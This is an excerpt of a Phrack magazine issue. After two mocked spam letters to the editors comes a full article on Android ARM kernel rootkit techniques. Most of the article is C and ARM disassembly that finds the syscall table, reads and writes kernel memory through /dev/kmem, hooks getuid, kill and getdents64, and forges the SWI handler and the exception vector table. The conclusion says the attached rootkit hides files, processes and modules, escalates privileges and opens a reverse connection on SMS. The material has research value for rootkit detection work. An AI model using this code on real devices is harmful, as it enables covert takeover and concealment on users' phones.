COUNTER‑INTELLIGENCE TEAM's ALPHA & BRAVO:) Black Ops‑ Red Teaming forum with an ai 3‑d GOOGLE EARTH PRO GPS softwares with a soft mobi GLOBAL IP softwares package STEALTH NINJA phone with SIG PRO Telecommunications softwares for NSA & CIA CT:qto let me know about a should

Tchao with Respect‑

Fabian.

[ What the fuck is that shit??? ]

‑‑

From: John Smith <devils‑advocate‑666@live.com>

Subject: ANTISPAM

[ Hey it's you again! ]

Dear Phrack magazine,

Hello my name is SA John Smith, I'm from No Town, VA. but moved to Brosnan, Missouri a few years back, and just recently moved to the huge L.A.; but, I would like to discuss some about covering some articles about Konkrete Jungle music parties and drum and bass massives done internationally, to help promote Cypher Punks Ebb & Flo Garden's and to help promote Covert Operations and Covert Actions for Cypher Punks, Ninja Strike Force, CIA MK‑ULTRA and Red Teaming financing and donation sources to do shadowing, spike zones, drop deads, and some net working for some brush offs of information, softwares, and to cache equipment and personell at Squats (ie‑ abbandonned buildings, subway stations, subterrainean tunnels, Ligne Imagineaux types of areas, beach houses, Four Seasons Resort, casino's, Def Con Seminar, yahts, and other jungle music parties and be for the U.S. like the Maquis‑ WWII French Resistance, OSS, OAS, SIS, CSIS, CIA, Mossad, Shin Bet, NSA, and others from NATO and U.S. Coalition Forces, and some U.N. Merc's and other types of PMCS's Mercenaries for hire;) But, also covering atm hacking, to recieve cash and Flow in Game Theory like doing Parkour tricks in Mirror's Edge for Intelligence Analysis Red Team Well, I gotta go now, best wishes to you all, and I'll contact you again, or better yet, just contact me with ai, and we can meet up.

Tchao‑

The Devils Advocate.

[ Spamming or brainfucked? ]

Android Kernel Rootkit

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x06 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ Android platform based linux kernel rootkit ]=‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ dong‑hoon you <x82@inetcop.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ April 04th 2011 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Introduction

2 ‑ Basic techniques for hooking

2.1 ‑ Searching sys_call_table

2.2 ‑ Identifying sys_call_table size

2.3 ‑ Getting over the problem of structure size in kernel versions 2.4 ‑ Treating version magic

3 ‑ sys_call_table hooking through /dev/kmem access technique

4 ‑ modifying sys_call_table handle code in vector_swi handler routine

5 ‑ exception vector table modifying hooking techniques 5.1 ‑ exception vector table

5.2 ‑ Hooking techniques changing vector_swi handler 5.3 ‑ Hooking techniques changing branch instruction offset

6 ‑ Conclusion

7 ‑ References

8 ‑ Appendix: earthworm.tgz.uu

‑‑[ 1 ‑ Introduction

This paper covers rootkit techniques that can be used in linux kernel based on Android platform using ARM(Advanced RISC Machine) process. All the tests in this paper were performed in Motoroi XT720 model(2.6.29‑omap1 kernel) and Galaxy S SHW‑M110S model(2.6.32.9 kernel). Note that some contents may not apply to all smart platform machines and there are some bugs you can modify.

We have seen various linux kernel hooking techniques of some pioneers([1] [2][3][4][5]). Especially, I appreciate to Silvio Cesare and sd who introduced and developed the /dev/kmem technique. Read the references for more information.

In this paper, we are going to discuss a few hooking techniques.

1. Simple and traditional hooking technique using kmem device. 2. Traditional hooking technique changing sys_call_table offset in vector_swi handler.

3. Two newly developed hooking techniques changing interrupt service routine handler in exception vector table.

The main concepts of the techniques mentioned in this paper are 'smart' and 'simple'. This is because this paper focuses on hooking through modifying the least kernel memory and by the simplest way. As the past good techniques were, hooking must be possible freely before and after system call.

This paper consists of eight parts and I tried to supply various examples for readers' convenience by putting abundant appendices. The example codes are written for ARM architecture, but if you modify some parts, you can use them in the environment of ia32 architecture and even in the environment that doesn't support LKM.

‑‑[ 2 ‑ Basic techniques for hooking

sys_call_table is a table which stores the addresses of low‑level system routines. Most of classical hooking techniques interrupt the sys_call_table for some purposes. Because of this, some protection techniques such as hiding symbol and moving to the field of read‑only have been adapted to protect sys_call_table from attackers. These protections, however, can be easily removed if an attacker uses kmem device access technique. To discuss other techniques making protection useless is beyond the purpose of this paper.

‑‑[ 2.1 ‑ Searching sys_call_table

If sys_call_table symbol is not exported and there is no sys_call_table information in kallsyms file which contains kernel symbol table information, it will be difficult to get the sys_call_table address that varies on each version of platform kernel. So, we need to research the way to get the address of sys_call_table without symbol table information.

You can find the similar techniques in the web[10], but apart from this, this paper is written to meet the Android platform on the way of testing.

‑‑[ 2.1.1 ‑ Getting sys_call_table address in vector_swi handler

At first, I will introduce the first two ways to get sys_call_table address The code I will introduce here is written dependently in the interrupt implementation of ARM process.

Generally, in the case of ARM process, when interrupt or exception happens, it branches to the exception vector table. In that exception vector table, there are exception hander addresses that match each exception handler routines. The kernel of present Android platform uses high vector (0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4 byte instruction to branch to the software interrupt handler. When the instruction runs, the address of the software interrupt handler stored in the address 0xffff0420, offset by 0x420, is called. See the section 5.1 for more information.

void get_sys_call_table(){

void *swi_addr=(long *)0xffff0008;

unsigned long offset=0;

unsigned long *vector_swi_addr=0;

unsigned long sys_call_table=0;

offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset);

while(vector_swi_addr++){

if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe28f8000){

offset=((*(unsigned long *)vector_swi_addr)&

0xfff)+8;

sys_call_table=(void *)vector_swi_addr+offset;

break;

}

}

return;

}

At first, this code gets the address of vector_swi routine(software interrupt process exception handler) in the exception vector table of high vector and then, gets the address of a code that handles the sys_call_table address. The followings are some parts of vector_swi handler code.

000000c0 <vector_swi>:

c0: e24dd048 sub sp, sp, #72 ; 0x48 (S_FRAME_SIZE) c4: e88d1fff stmia sp, {r0 ‑ r12} ; Calling r0 ‑ r12 c8: e28d803c add r8, sp, #60 ; 0x3c (S_PC)

cc: e9486000 stmdb r8, {sp, lr}^ ; Calling sp, lr d0: e14f8000 mrs r8, SPSR ; called from non‑FIQ mode, so ok. d4: e58de03c str lr, [sp, #60] ; Save calling PC d8: e58d8040 str r8, [sp, #64] ; Save CPSR

dc: e58d0044 str r0, [sp, #68] ; Save OLD_R0

e0: e3a0b000 mov fp, #0 ; 0x0 ; zero fp

e4: e3180020 tst r8, #32 ; 0x20 ; this is SPSR from save_user_regs e8: 12877609 addne r7, r7, #9437184; put OS number in ec: 051e7004 ldreq r7, [lr, #‑4]

f0: e59fc0a8 ldr ip, [pc, #168] ; 1a0 <__cr_alignment> f4: e59cc000 ldr ip, [ip]

f8: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0} ; update control register fc: e321f013 msr CPSR_c, #19 ; 0x13 enable_irq 100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13

[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer 10c: e599c000 ldr ip, [r9] ; check for syscall tracing

The asterisk part is the code of sys_call_table. This code notifies the start of sys_call_table at the appointed offset from the present pc address. So, we can get the offset value to figure out the position of sys_call_table if we can find opcode pattern corresponding to "add r8, pc" instruction.

opcode: 0xe28f8???

if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){ offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8; sys_call_table=(void *)vector_swi_addr+offset;

break;

From this, we can get the address of sys_call_table handled in vector_swi handler routine. And there is an easier way to do this.

‑‑[ 2.1.2 ‑ Finding sys_call_table addr through sys_close addr searching

The second way to get the address of sys_call_table is simpler than the way introduced in 2.1.1. This way is to find the address by using the fact that sys_close address, with open symbol, is in 0x6 offset from the starting point of sys_call_table.

... the same vector_swi address searching routine parts omitted ...

while(vector_swi_addr++){

if(*(unsigned long *)vector_swi_addr==&sys_close){ sys_call_table=(void *)vector_swi_addr‑(6*4);

break;

}

}

}

By using the fact that sys_call_table resides after vector_swi handler address, we can search the sys_close which is appointed as the sixth system call of sys_table_call.

fs/open.c:

EXPORT_SYMBOL(sys_close);

...

call.S:

/* 0 */CALL(sys_restart_syscall)

CALL(sys_exit)

CALL(sys_fork_wrapper)

CALL(sys_read)

CALL(sys_write)

/* 5 */CALL(sys_open)

CALL(sys_close)

This searching way has a technical disadvantage that we must get the sys_close kernel symbol address beforehand if it's implemented in user mode.

‑‑[ 2.2 ‑ Identifying sys_call_table size

The hooking technique which will be introduced in section 4 changes the sys_call_table handle code within vector_swi handler. It generates the copy of the existing sys_call_table in the heap memory. Because the size of sys_call_table varies in each platform kernel version, we need a precise size of sys_call_table to generate a copy.

... the same vector_swi address searching routine parts omitted ...

while(vector_swi_addr++){

if(((*(unsigned long *)vector_swi_addr)& 0xffff0000)==0xe3570000){

i=0x10‑(((*(unsigned long *)vector_swi_addr)& 0xff00)>>8);

size=((*(unsigned long *)vector_swi_addr)&

0xff)<<(2*i);

break;

}

}

}

This code searches code which controls the size of sys_call_table within vector_swi routine and then gets the value, the size of sys_call_table. The following code determines the size of sys_call_table, and it makes a part of a function that calls system call saved in sys_call_table.

118: e92d0030 stmdb sp!, {r4, r5} ; push fifth and sixth args 11c: e31c0c01 tst ip, #256 ; are we tracing syscalls? 120: 1a000008 bne 148 <__sys_trace>

[*]124: e3570f5b cmp r7, #364 ; check upper syscall limit 128: e24fee13 sub lr, pc, #304 ; return address 12c: 3798f107 ldrcc pc, [r8, r7, lsl #2] ; call sys_* routine

The asterisk part compares the size of sys_call_table. This code checks if the r7 register value which contains system call number is bigger than syscall limit. So, if we search opcode pattern(0xe357????) corresponding to "cmp r7", we can get the exact size of sys_call_table. For your information, all of the offset values can be obtained by using ARM architecture operand counting method.

‑‑[ 2.3 ‑ Getting over the problem of structure size in kernel versions

Even if you are using the same version of kernels, the size of structure varies according to the compile environments and config options. Thus, if we use a wrong structure with a wrong size, it is not likely to work as we expect. To prevent errors caused by the difference of structure offset and to enable our code to work in various kernel environments, we need to build a function which gets the offset needed from the structure.

void find_offset(void){

unsigned char *init_task_ptr=(char *)&init_task;

int offset=0,i;

char *ptr=0;

/* getting the position of comm offset

within task_struct structure */

for(i=0;i<0x600;i++){

if(init_task_ptr[i]=='s'&&init_task_ptr[i+1]=='w'&& init_task_ptr[i+2]=='a'&&init_task_ptr[i+3]=='p'&& init_task_ptr[i+4]=='p'&&init_task_ptr[i+5]=='e'&& init_task_ptr[i+6]=='r'){

comm_offset=i;

break;

}

}

/* getting the position of tasks.next offset

within task_struct structure */

init_task_ptr+=0x50; for(i=0x50;i<0x300;i+=4,init_task_ptr+=4){

offset=*(long *)init_task_ptr;

if(offset&&offset>0xc0000000){

offset‑=i;

offset+=comm_offset;

if(strcmp((char *)offset,"init")){

continue;

} else {

next_offset=i;

/* getting the position of parent offset

within task_struct structure */

for(;i<0x300;i+=4,init_task_ptr+=4){

offset=*(long *)init_task_ptr;

if(offset&&offset>0xc0000000){

offset+=comm_offset;

if(strcmp

((char *)offset,"swapper"))

{

continue;

} else {

parent_offset=i+4;

break;

}

}

}

break;

}

}

}

/* getting the position of cred offset

within task_struct structure */

init_task_ptr=(char *)&init_task; init_task_ptr+=comm_offset; for(i=0;i<0x50;i+=4,init_task_ptr‑=4){

offset=*(long *)init_task_ptr;

if(offset&&offset>0xc0000000&&offset<0xd0000000&& offset==*(long *)(init_task_ptr‑4)){

ptr=(char *)offset;

if(*(long *)&ptr[4]==0&&

*(long *)&ptr[8]==0&&

*(long *)&ptr[12]==0&&

*(long *)&ptr[16]==0&&

*(long *)&ptr[20]==0&&

*(long *)&ptr[24]==0&&

*(long *)&ptr[28]==0&&

*(long *)&ptr[32]==0){

cred_offset=i;

break;

}

}

}

/* getting the position of pid offset

within task_struct structure */

pid_offset=parent_offset‑0xc;

return;

}

This code gets the information of PCB(process control block) using some features that can be used as patterns of task_struct structure.

First, we need to search init_task for the process name "swapper" to find out address of "comm" variable within task_struct structure created before init process. Then, we search for "next" pointer from "tasks" which is a linked list of process structure. Finally, we use "comm" variable to figure out whether the process has a name of "init". If it does, we get the offset address of "next" pointer.

include/linux/sched.h:

struct task_struct {

...

struct list_head tasks;

...

pid_t pid;

...

struct task_struct *real_parent; /* real parent process */

struct task_struct *parent; /* recipient of SIGCHLD,

wait4() reports */

...

const struct cred *real_cred; /* objective and

real subjective task

* credentials (COW) */

const struct cred *cred; /* effective (overridable)

subjective task */

struct mutex cred_exec_mutex; /* execve vs ptrace cred

calculation mutex */

char comm[TASK_COMM_LEN]; /* executable name ... */

After this, we get the parent pointer by checking some pointers. And if this is a right parent pointer, it has the name of previous task(init_task) process, swapper. The reason we search the address of parent pointer is to get the offset of pid variable by using a parent offset as a base point.

To get the position of cred structure pointer related with task privilege, we perform backward search from the point of comm variable and check if the id of each user is 0.

‑‑[ 2.4 ‑ Treating version magic

Check the whitepaper[11] of Christian Papathanasiou and Nicholas J. Percoco in Defcon 18. The paper introduces the way of treating version magic by modifying the header of utsrelease.h when we compile LKM rootkit module. In fact, I have used a tool which overwrites the vermagic value of compiled kernel module binary directly before they presented.

‑‑[ 3 ‑ sys_call_table hooking through /dev/kmem access technique

I hope you take this section as a warming‑up. If you want to know more detailed background knowledge about /dev/kmem access technique, check the "Run‑time kernel patching" by Silvio and "Linux on‑the‑fly kernel patching without LKM" by sd.

At least until now, the root privilege of access to /dev/kmem device within linux kernel in Android platform is allowed. So, it is possible to move through lseek() and to read through read(). Newly written /dev/kmem access routines are as follows.

#define MAP_SIZE 4096UL

#define MAP_MASK (MAP_SIZE ‑ 1)

int kmem;

/* read data from kmem */

void read_kmem(unsigned char *m,unsigned off,int sz)

{

int i;

void *buf,*v_addr;

if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)‑1){ perror("read: mmap error"); exit(0);

}

for(i=0;i<sz;i++){

v_addr=buf+(off&MAP_MASK)+i; m[i]=*((unsigned char *)v_addr);

}

if(munmap(buf,MAP_SIZE*2)==‑1){ perror("read: munmap error"); exit(0);

}

return;

}

/* write data to kmem */

void write_kmem(unsigned char *m,unsigned off,int sz)

{

int i;

void *buf,*v_addr;

if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)‑1){ perror("write: mmap error"); exit(0);

}

for(i=0;i<sz;i++){

v_addr=buf+(off&MAP_MASK)+i; *((unsigned char *)v_addr)=m[i];

}

if(munmap(buf,MAP_SIZE*2)==‑1){ perror("write: munmap error"); exit(0);

}

return;

}

This code makes the kernel memory address we want shared with user memory area as much as the size of two pages and then we can read and write the kernel by reading and writing on the shared memory. Even though the searched sys_call_table is allocated in read‑only area, we can simply modify the contents of sys_call_table through /dev/kmem access technique. The example of hooking through sys_call_table modification is as follows.

kmem=open("/dev/kmem",O_RDWR|O_SYNC);

if(kmem<0){

return 1;

}

...

if(c=='I'||c=='i'){ /* install */

addr_ptr=(char *)get_kernel_symbol("hacked_getuid"); write_kmem((char *)&addr_ptr,addr+__NR_GETUID*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_writev"); write_kmem((char *)&addr_ptr,addr+__NR_WRITEV*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_kill"); write_kmem((char *)&addr_ptr,addr+__NR_KILL*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_getdents64"); write_kmem((char *)&addr_ptr,addr+__NR_GETDENTS64*4,4);

} else if(c=='U'||c=='u'){ /* uninstall */

...

}

close(kmem);

The attack code can be compiled in the mode of LKM module and general ELF32 executable file format.

‑‑[ 4 ‑ modifying sys_call_table handle code in vector_swi handler routine

The techniques introduced in section 3 are easily detected by rootkit detection tools. So, some pioneers have researched the ways which modify some parts of exception handler function processing software interrupt. The technique introduced in this section generates a copy version of sys_call_table in kernel heap memory without modifying the sys_call_table directly.

static void *hacked_sys_call_table[500];

static void **sys_call_table;

int sys_call_table_size;

...

int init_module(void){

...

get_sys_call_table(); // position and size of sys_call_table

memcpy(hacked_sys_call_table,sys_call_table,sys_call_table_size*4);

After generating this copy version, we have to modify some parts of sys_call_table processed within vector_swi handler routine. It is because sys_call_table is handled as a offset, not an address. It is a feature that separates ARM architecture from ia32 architecture.

code before compile:

ENTRY(vector_swi)

...

get_thread_info tsk

adr tbl, sys_call_table ; load syscall table pointer

~~~~~~~~~~~~~~~~~~~~~~~~~~~ ‑> code of sys_call_table

ldr ip, [tsk, #TI_FLAGS] ; @ check for syscall tracing

code after compile:

000000c0 <vector_swi>:

...

100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13

[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer

~~~~~~~~~~~~~~~~~~~~

+‑> deal sys_call_table as relative offset 10c: e599c000 ldr ip, [r9] ; check for syscall tracing

So, I contrived a hooking technique modifying "add r8, pc, #offset" code itself like this.

before modifying: e28f80??add r8, pc, #??

after modifying: e59f80??ldr r8, [pc, #??]

These instructions get the address of sys_call_table at the specified offset from the present pc address and then store it in r8 register. As a result, the address of sys_call_table is stored in r8 register. Now, we have to make a separated space to store the address of sys_call_table copy near the processing routine. After some consideration, I decided to overwrite nop code of other function's epilogue near vector_swi handler.

00000174 <__sys_trace_return>:

174: e5ad0008 str r0, [sp, #8]!

178: e1a02007 mov r2, r7

17c: e1a0100d mov r1, sp

180: e3a00001 mov r0, #1 ; 0x1

184: ebfffffe bl 0 <syscall_trace>

188: eaffffb1 b 54 <ret_to_user>

[*]18c: e320f000 nop {0}

~~~~~~~~ ‑> position to overwrite the copy of sys_call_table 190: e320f000 nop {0}

...

000001a0 <__cr_alignment>:

1a0: 00000000 ....

000001a4 <sys_call_table>:

Now, if we count the offset from the address of sys_call_table to the address overwritten with the address of sys_call_table copy and then modify code, we can use the table we copied whenever system call is called. The hooking code modifying some parts of vector_swi handling routine and nop code near the address of sys_call_table is as follows:

void install_hooker(){

void *swi_addr=(long *)0xffff0008;

unsigned long offset=0;

unsigned long *vector_swi_addr=0,*ptr;

unsigned char buf[MAP_SIZE+1];

unsigned long modify_addr1=0;

unsigned long modify_addr2=0;

unsigned long addr=0;

char *addr_ptr;

offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset);

memset((char *)buf,0,sizeof(buf)); read_kmem(buf,(long)vector_swi_addr,MAP_SIZE);

ptr=(unsigned long *)buf;

/* get the address of ldr that handles sys_call_table */

while(ptr){

if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){ modify_addr1=(unsigned long)vector_swi_addr;

break;

}

ptr++;

vector_swi_addr++;

}

/* get the address of nop that will be overwritten */

while(ptr){

if(*(unsigned long *)ptr==0xe320f000){ modify_addr2=(unsigned long)vector_swi_addr;

break;

}

ptr++;

vector_swi_addr++;

}

/* overwrite nop with hacked_sys_call_table */

addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table"); write_kmem((char *)&addr_ptr,modify_addr2,4);

/* calculate fake table offset */

offset=modify_addr2‑modify_addr1‑8;

/* change sys_call_table offset into fake table offset */

addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */

addr_ptr=(char *)addr;

write_kmem((char *)&addr_ptr,modify_addr1,4);

return;

}

This code gets the address of the code that handles sys_call_table within vector_swi handler routine, and then finds nop code around and stores the address of hacked_sys_call_table which is a copy version of sys_call_table. After this, we get the sys_call_table handle code from the offset in which hacked_sys_call_table resides and then hooking starts.

‑‑[ 5 ‑ exception vector table modifying hooking techniques

This section discusses two hooking techniques, one is the hooking technique which changes the address of software interrupt exception handler routine within exception vector table and the other is the technique which changes the offset of code branching to vector_swi handler. The purpose of these two techniques is to implement the hooking technique that modifies only exception vector table without changing sys_call_table and vector_swi handler.

‑‑[ 5.1 ‑ exception vector table

Exception vector table contains the address of various exception handler routines, branch code array and processing codes to call the exception handler routine. These are declared in entry‑armv.S, copied to the point of the high vector(0xffff0000) by early_trap_init() routine within traps.c code, and make one exception vector table.

traps.c:

void __init early_trap_init(void)

{

unsigned long vectors = CONFIG_VECTORS_BASE; /* 0xffff0000 */

extern char __stubs_start[], __stubs_end[];

extern char __vectors_start[], __vectors_end[];

extern char __kuser_helper_start[], __kuser_helper_end[]; int kuser_sz = __kuser_helper_end ‑ __kuser_helper_start;

/*

* Copy the vectors, stubs and kuser helpers

(in entry‑armv.S)

* into the vector page, mapped at 0xffff0000,

and ensure these

* are visible to the instruction stream.

*/

memcpy((void *)vectors, __vectors_start,

__vectors_end ‑ __vectors_start);

memcpy((void *)vectors + 0x200, __stubs_start,

__stubs_end ‑ __stubs_start);

After the processing codes are copied in order by early_trap_init() routine, the exception vector table is initialized, then one exception vector table is made as follows.

# ./coelacanth ‑e

[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array [004] ffff0004: ea0000dd [Undef] ; b 0x380

[008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040] ; 0x420 [00c] ffff000c: ea0000bb [Abort‑perfetch] ; b 0x300

[010] ffff0010: ea00009a [Abort‑data] ; b 0x280

[014] ffff0014: ea0000fa [Reserved] ; b 0x404

[018] ffff0018: ea000078 [IRQ] ; b 0x608

[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400

[020] Reserved

... skip ...

[22c] ffff022c: c003dbc0 [__irq_usr] ; exception handler routine addr array [230] ffff0230: c003d920 [__irq_invalid]

[234] ffff0234: c003d920 [__irq_invalid]

[238] ffff0238: c003d9c0 [__irq_svc]

[23c] ffff023c: c003d920 [__irq_invalid]

...

[420] ffff0420: c003df40 [vector_swi]

When software interrupt occurs, 4 byte instruction at 0xffff0008 is executed. The code copies the present pc to the address of exception handler and then branches. In other words, it branches to the vector_swi handler routine at 0x420 of exception vector table.

‑‑[ 5.2 ‑ Hooking techniques changing vector_swi handler

The hooking technique changing the vector_swi handler is the first one that will be introduced. It changes the address of exception handler routine that processes software interrupt within exception vector table and calls the vector_swi handler routine forged by an attacker.

1. Generate the copy version of sys_call_table in kernel heap and then change the address of routine as aforementioned.

2. Copy not all vector_swi handler routine but the code before handling sys_call_table to kernel heap for simple hooking. 3. Fill the values with right values for the copied fake vector_swi handler routine to act normally and change the code to call the address of sys_call_table copy version. (generated in step 1) 4. Jump to the next position of sys_call_table handle code of original vector_swi handler routine.

5. Change the address of vector_swi handler routine of exception vector table to the address of fake vector_swi handler code.

The completed fake vector_swi handler has a code like following.

00000000 <new_vector_swi>:

00: e24dd048 sub sp, sp, #72 ; 0x48

04: e88d1fff stmia sp, {r0 ‑ r12}

08: e28d803c add r8, sp, #60 ; 0x3c

0c: e9486000 stmdb r8, {sp, lr}^

10: e14f8000 mrs r8, SPSR

14: e58de03c str lr, [sp, #60]

18: e58d8040 str r8, [sp, #64]

1c: e58d0044 str r0, [sp, #68]

20: e3a0b000 mov fp, #0 ; 0x0

24: e3180020 tst r8, #32 ; 0x20

28: 12877609 addne r7, r7, #9437184

2c: 051e7004 ldreq r7, [lr, #‑4]

[*]30: e59fc020 ldr ip, [pc, #32] ; 0x58 <__cr_alignment> 34: e59cc000 ldr ip, [ip]

38: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0}

3c: f1080080 cpsie i

40: e1a096ad mov r9, sp, lsr #13

44: e1a09689 mov r9, r9, lsl #13

[*]48: e59f8000 ldr r8, [pc, #0]

[*]4c: e59ff000 ldr pc, [pc, #0]

[*]50: <hacked_sys_call_table address>

[*]54: <vector_swi address to jmp>

[*]58: <__cr_alignment routine address referring at 0x30>

The asterisk parts are the codes modified or added to the original code. In addition to the part that we modified to make the code refer __cr_alignment function, I added some instructions to save address of sys_call_table copy version to r8 register, and jump back to the original vector_swi handler function. Following is the attack code written as a kernel module.

static unsigned char new_vector_swi[500];

...

void make_new_vector_swi(){

void *swi_addr=(long *)0xffff0008;

void *vector_swi_ptr=0;

unsigned long offset=0;

unsigned long *vector_swi_addr=0,orig_vector_swi_addr=0; unsigned long add_r8_pc_addr=0;

unsigned long ldr_ip_pc_addr=0;

int i;

offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */

orig_vector_swi_addr=vector_swi_addr; /* vector_swi's addr */

/* processing __cr_alignment */

while(vector_swi_addr++){

if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe28f8000){

add_r8_pc_addr=(unsigned long)vector_swi_addr;

break;

}

/* get __cr_alingment's addr */

if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe59fc000){

offset=((*(unsigned long *)vector_swi_addr)&

0xfff)+8;

ldr_ip_pc_addr=*(unsigned long *)

((char *)vector_swi_addr+offset);

}

}

/* creating fake vector_swi handler */

memcpy(new_vector_swi,(char *)orig_vector_swi_addr, (add_r8_pc_addr‑orig_vector_swi_addr)); offset=(add_r8_pc_addr‑orig_vector_swi_addr); for(i=0;i<offset;i+=4){

if(((*(long *)&new_vector_swi[i])& 0xfffff000)==0xe59fc000){

*(long *)&new_vector_swi[i]=0xe59fc020;

// ldr ip, [pc, #32]

break;

}

}

/* ldr r8, [pc, #0] */

*(long *)&new_vector_swi[offset]=0xe59f8000;

offset+=4;

/* ldr pc, [pc, #0] */

*(long *)&new_vector_swi[offset]=0xe59ff000;

offset+=4;

/* fake sys_call_table */

*(long *)&new_vector_swi[offset]=hacked_sys_call_table; offset+=4;

/* jmp original vector_swi's addr */

*(long *)&new_vector_swi[offset]=(add_r8_pc_addr+4); offset+=4;

/* __cr_alignment's addr */

*(long *)&new_vector_swi[offset]=ldr_ip_pc_addr;

offset+=4;

/* change the address of vector_swi handler

within exception vector table */

*(unsigned long *)vector_swi_ptr=&new_vector_swi;

return;

}

This code gets the address which processes the sys_call_table within vector_swi handler routine and then copies original contents of vector_swi to the fake vector_swi variable before the address we obtained. After changing some parts of fake vector_swi to make the code refer _cr_alignment function address correctly, we need to add instructions that save the address of sys_call_table copy version to r8 register and jump back to the original vector_swi handler function. Finally, hooking starts when we modify the address of vector_swi handler function within exception vector table.

‑‑[ 5.3 ‑ Hooking techniques changing branch instruction offset

The second hooking technique to change the branch instruction offset within exception vector table is that we don't change vector_swi handler and change the offset of 4 byte branch instruction code called automatically when the software interrupt occurs.

1. Proceed to step 4 like the way in section 5.1.

2. Store the address of generated fake vector_swi handler routine in the specific area within exception vector table.

3. Change 1 byte which is an offset of 4 byte instruction codes at 0xffff0008 and store.

The code compared with section 5.2 is as follows.

‑ *(unsigned long *)vector_swi_ptr=&new_vector_swi;

...

+ *(unsigned long *)(vector_swi_ptr+4)=&new_vector_swi; /* 0xffff0424 */

...

+ *(unsigned long *)swi_addr+=4; /* 0xe59ff410 ‑> 0xe59ff414 */

The changed exception vector table after hooking is as follows.

# ./coelacanth ‑e

[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array [004] ffff0004: ea0000dd [Undef] ; b 0x380

[008] ffff0008: e59ff414 [SWI] ; ldr pc, [pc, #1044] ; 0x424 [00c] ffff000c: ea0000bb [Abort‑perfetch] ; b 0x300

[010] ffff0010: ea00009a [Abort‑data] ; b 0x280

[014] ffff0014: ea0000fa [Reserved] ; b 0x404

[018] ffff0018: ea000078 [IRQ] ; b 0x608

[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400

[020] Reserved

... skip ...

[420] ffff0420: c003df40 [vector_swi]

[424] ffff0424: bf0ceb5c [new_vector_swi] ; fake vector_swi handler code

Hooking starts when the address of a fake vector_swi handler code is stored at 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008 changes the address around 0xffff0424 for reference.

‑‑[ 6 ‑ Conclusion

One more time, I thank many pioneers for their devotion and inspiration. I also hope various Android rootkit researches to follow. It is a pity that I couldn't cover all the ideas that occurred in my mind during writing this paper. However, I also think that it is better to discuss the advanced and practical techniques next time ‑if you like this one ;‑)‑.

For more information, the attached example code provides not only file & process hiding and kernel module hiding features but also the classical rootkit features such as admin privilege succession to specific gid user and process privilege changing. I referred to the Defcon 18 whitepaper of Christian Papathanasiou and Nicholas J. Percoco for performing the reverse connection when we receive a sms message from an appointed phone number.

Thanks to:

vangelis and GGUM for translating Korean into English. Other than those who helped me on this paper, I'd like to thank my colleagues, people in my graduate school and everyone who knows me.

‑‑[ 7 ‑ References

[1] "Abuse of the Linux Kernel for Fun and Profit" by halflife [Phrack issue 50, article 05]

[2] "Weakening the Linux Kernel" by plaguez

[Phrack issue 52, article 18]

[3] "RUNTIME KERNEL KMEM PATCHING" by Silvio Cesare [runtime‑kernel‑kmem‑patching.txt]

[4] "Linux on‑the‑fly kernel patching without LKM" by sd & devik [Phrack issue 58, article 07]

[5] "Handling Interrupt Descriptor Table for fun and profit" by kad [Phrack issue 59, article 04]

[6] "trojan eraser or i want my system call table clean" by riq [Phrack issue 54, article 03]

[7] "yet another article about stealth modules in linux" by riq ["abtrom: anti btrom" in a mail to Bugtraq]

[8] "Saint Jude, The Model" by Timothy Lawless [http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf]

[9] "IA32 ADVANCED FUNCTION HOOKING" by mayhem

[Phrack issue 58, article 08]

